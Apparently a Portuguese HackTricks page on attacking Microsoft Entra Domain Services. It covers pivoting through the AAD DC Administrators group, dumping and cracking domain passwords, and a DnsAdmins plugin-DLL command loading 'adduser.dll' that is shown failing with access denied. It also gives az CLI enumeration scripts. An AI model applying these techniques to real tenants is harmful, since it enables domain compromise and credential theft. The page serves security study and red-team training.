Az - Microsoft Entra Domain Services
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Domain Services
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Controladores de Domínio (na verdade, você nem tem acesso a eles).
Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos modernos de autenticação, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local.
Observe que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) com o serviço de domínio AD, você precisa mudar a senha do usuário para uma nova, para que possa ser sincronizada com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para os Serviços de Domínio até que a senha seja alterada.
warning
Mesmo que você esteja criando um novo domínio de diretório ativo, não poderá gerenciá-lo completamente (a menos que explore algumas configurações incorretas), o que significa que, por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria sincronizando usuários do Entra ID. Você pode indicar para sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs locais), apenas usuários da nuvem (usuários criados no Entra ID) ou até mesmo filtrá-los mais.
note
Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que os ADs geralmente já estão no local, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.
Pivoting
Membros do grupo gerado AAD DC Administrators
recebem permissões de administrador local em VMs que estão unidas ao domínio gerenciado (mas não nos controladores de domínio) porque são adicionados ao grupo de administradores locais. Membros deste grupo também podem usar Remote Desktop para se conectar remotamente a VMs unidas ao domínio, e também são membros dos grupos:
Denied RODC Password Replication Group
: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Controladores de Domínio Somente para Leitura).Group Policy Creators Owners
: Este grupo permite que os membros criem Políticas de Grupo no domínio. No entanto, seus membros não podem aplicar políticas de grupo a usuários ou grupos ou editar GPOs existentes, então não é tão interessante neste ambiente.DnsAdmins
: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para escalar privilégios e comprometer o domínio, no entanto, após testar o ataque neste ambiente, foi verificado que a vulnerabilidade está corrigida:
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
Note que, para conceder essas permissões, dentro do AD, o grupo AAD DC Administrators
é feito membro dos grupos anteriores, e também a GPO AADDC Computers GPO
está adicionando como Administradores Locais todos os membros do grupo de domínio AAD DC Administrators
.
Fazer pivotagem do Entra ID para um AD criado com Domain Services é simples, basta adicionar um usuário ao grupo AAD DC Administrators
, acessar via RDP a qualquer/todas as máquinas no domínio e você poderá roubar dados e também comprometer o domínio.
No entanto, fazer pivotagem do domínio para o Entra ID não é tão fácil, pois nada do domínio está sendo sincronizado no Entra ID. No entanto, sempre verifique os metadados de todas as VMs unidas, pois suas identidades gerenciadas atribuídas podem ter permissões interessantes. Também extraia todas as senhas dos usuários do domínio e tente quebrá-las para então fazer login no Entra ID / Azure.
note
Note que no passado, outras vulnerabilidades neste AD gerenciado foram encontradas que permitiram comprometer os DCs, como esta. Um atacante que comprometer o DC poderia muito facilmente manter persistência sem que os administradores do Azure notassem ou mesmo conseguissem removê-la.
Enumeração
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.